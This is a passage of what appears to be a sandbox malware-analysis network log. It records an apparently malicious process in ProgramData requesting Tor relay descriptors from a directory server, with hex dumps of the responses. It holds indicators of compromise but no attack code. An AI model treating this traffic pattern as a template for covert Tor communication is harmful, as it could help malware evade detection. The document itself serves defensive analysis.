6c 41 64 4d 66 0a 77 74 62 42 42 70 64 4f 39 62 4e 71 2b 47 6c 69 73 55 7a 43 36 51 58 4d 62 38 6f 71 6f 46 33 77 45 2b 4f 50 76 70 59 56 47 2f 4b 56 55 4d 6f 7a 79 76 75 48 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router relayon1173 185.220.101.173 11173 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxqiAemf3ubQT388vR0Lh8bGDs8ncvT0Fx94ffb1goyz9ZzsAQAgBACMwQvt3mi1xlseKhhM5wCMoRJBxvoHevpOSaX3nq/YpGNxuV3DyAvg0Ws5AZDowRiZeuQd7k8+mK6m1VBf/zV8Tr2kXZBClKkWTK/c3o0x1AR3MQRh+Weiar2r1bU6ygM=-----END ED25519 CERT-----master-key-ed25519 jMEL7d5otcZbHioYTOcAjKESQcb6B3r6Tkml956v2KQor-address [2a0b:f4c2:1::173]:11173platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 17:45:48fingerprint 7A72 DA31 27BE 09A8 0225 5A60 0CD0 B4E9 7785 F5FDuptime 10801bandwidth 1073741824 1073741824 15504384extra-info-digest 0297D70C6754976809F094A036E0E7BD30EC0EEF 4WMQn4vbBNfEFO9121Sy3Vjy+lJziK2nlnMgg/1jwt8onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKzO14cvRZRO2INWgTWpjRBNdR7fvqE6nVPnsC2FBRO48p/yRzhfMQCWZod/Tvwvc3pY2pfOBujs28lLQf2WeK12tFoJFusK7v2ABav+m91+IQakQfxlAdMfwtbBBpdO9bNq+GlisUzC6QXMb8oqoF3wE+OPvpYVG/KVUMozyvuHAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49723	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:17.073277950 CET	2742	OUT	GET /tor/server/fp/5756d9c403d89b79afe69d50bb0682ba318319fb HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:17.857295990 CET	2743	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:17 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:17 GMT Data Raw: 72 6f 75 74 65 72 20 51 75 65 74 7a 61 6c 63 6f 61 74 6c 20 31 38 38 2e 36 38 2e 35 38 2e 31 33 31 20 39 31 30 30 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 45 77 41 64 41 64 6e 38 71 70 6f 68 6d 34 48 78 45 41 35 33 52 2b 65 74 70 2b 68 69 43 6c 4d 36 43 65 67 66 55 39 65 49 48 2f 6e 68 47 49 41 51 41 67 42 41 41 79 4b 4b 38 68 0a 72 70 55 46 6a 43 58 33 56 58 70 6d 37 39 76 76 77 52 6f 51 44 41 39 6c 4c 54 36 47 5a 77 75 4a 36 49 75 70 33 33 59 37 6f 6d 58 70 79 66 6d 71 51 70 71 51 38 70 30 4d 35 5a 76 5a 45 33 66 4a 0a 35 41 63 74 7a 74 4a 79 36 4b 57 75 6c 43 35 52 45 43 38 6c 73 67 62 73 7a 39 4c 43 73 51 73 46 55 4b 33 32 74 66 41 62 4a 62 77 6c 39 59 6a 6b 30 48 66 7a 42 37 6a 6a 63 67 59 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4d 69 69 76 49 61 36 56 42 59 77 6c 39 31 56 36 5a 75 2f 62 37 38 45 61 45 41 77 50 5a 53 30 2b 68 6d 63 4c 69 65 69 4c 71 64 38 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 33 3a 34 30 30 30 3a 36 3a 66 38 61 39 3a 63 34 65 37 3a 34 64 66 66 3a 66 65 63 35 3a 31 65 35 65 5d 3a 39 31 30 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 33 3a 34 34 3a 30 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 35 37 35 36 20 44 39 43 34 20 30 33 44 38 20 39 42 37 39 20 41 46 45 36 20 39 44 35 30 20 42 42 30 36 20 38 32 42 41 20 33 31 38 33 20 31 39 46 42 0a 75 70 74 69 6d 65 20 33 30 32 35 37 38 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 36 31 37 38 38 37 36 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 32 46 39 31 30 44 37 46 44 35 42 31 45 32 30 37 30 45 45 33 39 32 33 30 41 36 34 41 36 43 30 41 35 31 36 38 45 36 34 36 20 63 31 6a 5a 73 61 36 55 6c 74 34 6b 79 64 37 58 4f 74 74 59 6f 56 79 64 6a 58 4d 38 4c 68 58 35 37 4e 64 41 44 76 69 58 38 67 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 2b 52 6a 36 33 78 4f 41 34 7a 64 53 49 64 4c 45 4b 72 58 46 76 56 37 6c 49 65 6c 43 4e 62 6d 2b 4a 71 4f 30 5a 63 4a 48 4a 63 7a 34 6c 66 42 56 38 6a 52 64 73 68 0a 53 57 51 4a 45 56 77 6a 6d 63 74 41 63 4b 65 64 2f 42 73 4e 70 72 30 55 71 38 47 6e 65 64 6c 2f 76 7a 70 33 32 42 2f 5a 31 52 2b 6f 6b 38 42 70 54 64 69 53 4f 4c 33 61 70 66 78 6e 45 6a 38 37 0a 5a 4a 45 33 50 2f 52 42 4e 38 41 43 7a 59 2f 63 79 4f 6b 43 67 2b 31 46 4d 47 6c 74 69 39 6b 6f 44 46 43 4c 4e 56 55 32 44 50 4a 39 32 5a 59 31 66 32 35 6e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 Data Ascii: router Quetzalcoatl 188.68.58.131 9100 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByEwAdAdn8qpohm4HxEA53R+etp+hiClM6CegfU9eIH/nhGIAQAgBAAyKK8hrpUFjCX3VXpm79vvwRoQDA9lLT6GZwuJ6Iup33Y7omXpyfmqQpqQ8p0M5ZvZE3fJ5ActztJy6KWulC5REC8lsgbsz9LCsQsFUK32tfAbJbwl9Yjk0HfzB7jjcgY=-----END ED25519 CERT-----master-key-ed25519 MiivIa6VBYwl91V6Zu/b78EaEAwPZS0+hmcLieiLqd8or-address [2a03:4000:6:f8a9:c4e7:4dff:fec5:1e5e]:9100platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 13:44:05fingerprint 5756 D9C4 03D8 9B79 AFE6 9D50 BB06 82BA 3183 19FBuptime 302578bandwidth 1073741824 1073741824 6178876extra-info-digest 2F910D7FD5B1E2070EE39230A64A6C0A5168E646 c1jZsa6Ult4kyd7XOttYoVydjXM8LhX57NdADviX8goonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL+Rj63xOA4zdSIdLEKrXFvV7lIelCNbm+JqO0ZcJHJcz4lfBV8jRdshSWQJEVwjmctAcKed/BsNpr0Uq8Gnedl/vzp32B/Z1R+ok8BpTdiSOL3apfxnEj87ZJE3P/RBN8ACzY/cyOkCg+1FMGlti9koDFCLNVU2DPJ92ZY1f25nAgMBAAE=-----END RSA PUBLIC KEY-----sig

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49724	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:18.957381010 CET	2758	OUT	GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:19.713805914 CET	2759	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:19 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:19 GMT Data Raw: 72 6f 75 74 65 72 20 72 65 6c 61 79 6f 6e 31 31 37 33 20 31 38 35 2e 32 32 30 2e 31 30 31 2e 31 37 33 20 31 31 31 37 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 71 69 41 65 6d 66 33 75 62 51 54 33 38 38 76 52 30 4c 68 38 62 47 44 73 38 6e 63 76 54 30 46 78 39 34 66 66 62 31 67 6f 79 7a 39 5a 7a 73 41 51 41 67 42 41 43 4d 77 51 76 74 0a 33 6d 69 31 78 6c 73 65 4b 68 68 4d 35 77 43 4d 6f 52 4a 42 78 76 6f 48 65 76 70 4f 53 61 58 33 6e 71 2f 59 70 47 4e 78 75 56 33 44 79 41 76 67 30 57 73 35 41 5a 44 6f 77 52 69 5a 65 75 51 64 0a 37 6b 38 2b 6d 4b 36 6d 31 56 42 66 2f 7a 56 38 54 72 32 6b 58 5a 42 43 6c 4b 6b 57 54 4b 2f 63 33 6f 30 78 31 41 52 33 4d 51 52 68 2b 57 65 69 61 72 32 72 31 62 55 36 79 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 6a 4d 45 4c 37 64 35 6f 74 63 5a 62 48 69 6f 59 54 4f 63 41 6a 4b 45 53 51 63 62 36 42 33 72 36 54 6b 6d 6c 39 35 36 76 32 4b 51 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 62 3a 66 34 63 32 3a 31 3a 3a 31 37 33 5d 3a 31 31 31 37 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 37 3a 34 35 3a 34 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 37 41 37 32 20 44 41 33 31 20 32 37 42 45 20 30 39 41 38 20 30 32 32 35 20 35 41 36 30 20 30 43 44 30 20 42 34 45 39 20 37 37 38 35 20 46 35 46 44 0a 75 70 74 69 6d 65 20 31 30 38 30 31 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 35 35 30 34 33 38 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 30 32 39 37 44 37 30 43 36 37 35 34 39 37 36 38 30 39 46 30 39 34 41 30 33 36 45 30 45 37 42 44 33 30 45 43 30 45 45 46 20 34 57 4d 51 6e 34 76 62 42 4e 66 45 46 4f 39 31 32 31 53 79 33 56 6a 79 2b 6c 4a 7a 69 4b 32 6e 6c 6e 4d 67 67 2f 31 6a 77 74 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 7a 4f 31 34 63 76 52 5a 52 4f 32 49 4e 57 67 54 57 70 6a 52 42 4e 64 52 37 66 76 71 45 36 6e 56 50 6e 73 43 32 46 42 52 4f 34 38 70 2f 79 52 7a 68 66 4d 51 43 57 0a 5a 6f 64 2f 54 76 77 76 63 33 70 59 32 70 66 4f 42 75 6a 73 32 38 6c 4c 51 66 32 57 65 4b 31 32 74 46 6f 4a 46 75 73 4b 37 76 32 41 42 61 76 2b 6d 39 31 2b 49 51 61 6b 51 66 78 6c 41 64 4d 66 0a 77 74 62 42 42 70 64 4f 39 62 4e 71 2b 47 6c 69 73 55 7a 43 36 51 58 4d 62 38 6f 71 6f 46 33 77 45 2b 4f 50 76 70 59 56 47 2f 4b 56 55 4d 6f 7a 79 76 75 48 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router relayon1173 185.220.101.173 11173 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxqiAemf3ubQT388vR0Lh8bGDs8ncvT0Fx94ffb1goyz9ZzsAQAgBACMwQvt3mi1xlseKhhM5wCMoRJBxvoHevpOSaX3nq/YpGNxuV3DyAvg0Ws5AZDowRiZeuQd7k8+mK6m1VBf/zV8Tr2kXZBClKkWTK/c3o0x1AR3MQRh+Weiar2r1bU6ygM=-----END ED25519 CERT-----master-key-ed25519 jMEL7d5otcZbHioYTOcAjKESQcb6B3r6Tkml956v2KQor-address [2a0b:f4c2:1::173]:11173platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 17:45:48fingerprint 7A72 DA31 27BE 09A8 0225 5A60 0CD0 B4E9 7785 F5FDuptime 10801bandwidth 1073741824 1073741824 15504384extra-info-digest 0297D70C6754976809F094A036E0E7BD30EC0EEF 4WMQn4vbBNfEFO9121Sy3Vjy+lJziK2nlnMgg/1jwt8onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKzO14cvRZRO2INWgTWpjRBNdR7fvqE6nVPnsC2FBRO48p/yRzhfMQCWZod/Tvwvc3pY2pfOBujs28lLQf2WeK12tFoJFusK7v2ABav+m91+IQakQfxlAdMfwtbBBpdO9bNq+GlisUzC6QXMb8oqoF3wE+OPvpYVG/KVUMozyvuHAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49725	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:19.945561886 CET	2768	OUT	GET /tor/server/fp/1efbaccd28a07fd6ad7aa6f1293177d71397e918 HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:20.670588970 CET	2769	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:20 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:20 GMT Data Raw: 72 6f 75 74 65 72 20 63 62 31 38 32 30 20 31 34 34 2e 37 36 2e 33 2e 31 38 32 20 39 30 39 30 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 76 50 41 53 38 52 65 36 58 31 53 65 66 4a 64 48 42 64 4d 53 63 62 32 6d 74 57 46 63 36 74 75 6e 46 49 72 4b 63 4d 54 54 6c 57 69 2f 49 46 41 51 41 67 42 41 43 6b 51 4b 35 4e 0a 55 49 2f 69 6a 4c 2f 45 37 34 68 66 56 37 6e 34 6f 38 30 6b 41 44 6c 69 47 66 4b 55 30 5a 57 32 79 34 38 4d 65 6b 53 48 6a 43 75 48 33 74 6f 69 5a 56 48 42 6c 34 4a 66 6b 6a 50 67 7a 68 76 51 0a 32 6d 72 67 30 41 6a 42 67 4c 33 76 69 64 33 53 72 54 71 47 75 72 46 46 6f 5a 2f 2b 58 35 75 37 64 56 70 49 44 43 61 31 30 35 4b 6f 78 6f 38 68 36 73 2b 5a 6c 67 63 35 4c 67 30 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 70 45 43 75 54 56 43 50 34 6f 79 2f 78 4f 2b 49 58 31 65 35 2b 4b 50 4e 4a 41 41 35 59 68 6e 79 6c 4e 47 56 74 73 75 50 44 48 6f 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 31 3a 34 66 38 3a 31 39 30 3a 37 33 38 35 3a 3a 32 5d 3a 39 30 39 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 38 3a 35 37 3a 32 31 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 31 45 46 42 20 41 43 43 44 20 32 38 41 30 20 37 46 44 36 20 41 44 37 41 20 41 36 46 31 20 32 39 33 31 20 37 37 44 37 20 31 33 39 37 20 45 39 31 38 0a 75 70 74 69 6d 65 20 31 34 33 36 31 30 37 33 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 34 31 30 33 33 39 38 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 30 35 31 45 38 32 31 35 34 35 45 44 34 38 38 41 31 36 41 34 37 31 37 35 34 46 44 45 42 32 44 46 41 41 33 46 34 45 38 42 20 54 4a 6b 44 53 4b 36 4e 4b 55 6a 73 45 5a 5a 58 38 2b 35 39 54 41 2f 4a 4d 78 2f 74 73 50 72 76 56 68 54 2b 31 48 66 51 6d 7a 30 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 6b 44 4c 4a 57 4a 35 76 61 77 44 6e 67 59 69 34 46 45 61 6f 70 43 45 62 67 2b 35 77 75 41 74 56 59 4c 59 31 57 41 6d 71 55 4f 4e 2f 38 68 42 42 57 72 41 75 45 46 0a 50 2f 38 70 75 38 61 31 75 39 2f 42 52 31 50 58 46 57 6b 75 39 75 30 36 39 50 37 76 75 34 62 4d 45 57 35 49 69 6f 4a 43 45 37 39 49 5a 41 6c 4b 58 44 56 61 6a 49 61 7a 4e 51 30 35 36 6b 54 33 0a 42 37 39 57 65 6c 52 35 6e 52 7a 62 51 2f 52 68 31 37 50 47 61 47 49 68 76 59 4c 37 5a 68 2b 6b 58 2b 33 45 32 64 41 44 4d 48 2b 69 61 6a 6f 43 57 66 62 50 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 Data Ascii: router cb1820 144.76.3.182 9090 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxvPAS8Re6X1SefJdHBdMScb2mtWFc6tunFIrKcMTTlWi/IFAQAgBACkQK5NUI/ijL/E74hfV7n4o80kADliGfKU0ZW2y48MekSHjCuH3toiZVHBl4JfkjPgzhvQ2mrg0AjBgL3vid3SrTqGurFFoZ/+X5u7dVpIDCa105Koxo8h6s+Zlgc5Lg0=-----END ED25519 CERT-----master-key-ed25519 pECuTVCP4oy/xO+IX1e5+KPNJAA5YhnylNGVtsuPDHoor-address [2a01:4f8:190:7385::2]:9090platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 18:57:21fingerprint 1EFB ACCD 28A0 7FD6 AD7A A6F1 2931 77D7 1397 E918uptime 14361073bandwidth 1073741824 1073741824 41033980extra-info-digest 051E821545ED488A16A471754FDEB2DFAA3F4E8B TJkDSK6NKUjsEZZX8+59TA/JMx/tsPrvVhT+1HfQmz0onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALkDLJWJ5vawDngYi4FEaopCEbg+5wuAtVYLY1WAmqUON/8hBBWrAuEFP/8pu8a1u9/BR1PXFWku9u069P7vu4bMEW5IioJCE79IZAlKXDVajIazNQ056kT3B79WelR5nRzbQ/Rh17PGaGIhvYL7Zh+kX+3E2dADMH+iajoCWfbPAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49726	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:21.038620949 CET	2776	OUT	GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:22.329142094 CET	2777	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:22 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:22 GMT Data Raw: 72 6f 75 74 65 72 20 72 65 6c 61 79 6f 6e 31 31 37 33 20 31 38 35 2e 32 32 30 2e 31 30 31 2e 31 37 33 20 31 31 31 37 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 71 69 41 65 6d 66 33 75 62 51 54 33 38 38 76 52 30 4c 68 38 62 47 44 73 38 6e 63 76 54 30 46 78 39 34 66 66 62 31 67 6f 79 7a 39 5a 7a 73 41 51 41 67 42 41 43 4d 77 51 76 74 0a 33 6d 69 31 78 6c 73 65 4b 68 68 4d 35 77 43 4d 6f 52 4a 42 78 76 6f 48 65 76 70 4f 53 61 58 33 6e 71 2f 59 70 47 4e 78 75 56 33 44 79 41 76 67 30 57 73 35 41 5a 44 6f 77 52 69 5a 65 75 51 64 0a 37 6b 38 2b 6d 4b 36 6d 31 56 42 66 2f 7a 56 38 54 72 32 6b 58 5a 42 43 6c 4b 6b 57 54 4b 2f 63 33 6f 30 78 31 41 52 33 4d 51 52 68 2b 57 65 69 61 72 32 72 31 62 55 36 79 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 6a 4d 45 4c 37 64 35 6f 74 63 5a 62 48 69 6f 59 54 4f 63 41 6a 4b 45 53 51 63 62 36 42 33 72 36 54 6b 6d 6c 39 35 36 76 32 4b 51 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 62 3a 66 34 63 32 3a 31 3a 3a 31 37 33 5d 3a 31 31 31 37 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 37 3a 34 35 3a 34 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 37 41 37 32 20 44 41 33 31 20 32 37 42 45 20 30 39 41 38 20 30 32 32 35 20 35 41 36 30 20 30 43 44 30 20 42 34 45 39 20 37 37 38 35 20 46 35 46 44 0a 75 70 74 69 6d 65 20 31 30 38 30 31 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 35 35 30 34 33 38 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 30 32 39 37 44 37 30 43 36 37 35 34 39 37 36 38 30 39 46 30 39 34 41 30 33 36 45 30 45 37 42 44 33 30 45 43 30 45 45 46 20 34 57 4d 51 6e 34 76 62 42 4e 66 45 46 4f 39 31 32 31 53 79 33 56 6a 79 2b 6c 4a 7a 69 4b 32 6e 6c 6e 4d 67 67 2f 31 6a 77 74 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 7a 4f 31 34 63 76 52 5a 52 4f 32 49 4e 57 67 54 57 70 6a 52 42 4e 64 52 37 66 76 71 45 36 6e 56 50 6e 73 43 32 46 42 52 4f 34 38 70 2f 79 52 7a 68 66 4d 51 43 57 0a 5a 6f 64 2f 54 76 77 76 63 33 70 59 32 70 66 4f 42 75 6a 73 32 38 6c 4c 51 66 32 57 65 4b 31 32 74 46 6f 4a 46 75 73 4b 37 76 32 41 42 61 76 2b 6d 39 31 2b 49 51 61 6b 51 66 78 6c 41 64 4d 66 0a 77 74 62 42 42 70 64 4f 39 62 4e 71 2b 47 6c 69 73 55 7a 43 36 51 58 4d 62 38 6f 71 6f 46 33 77 45 2b 4f 50 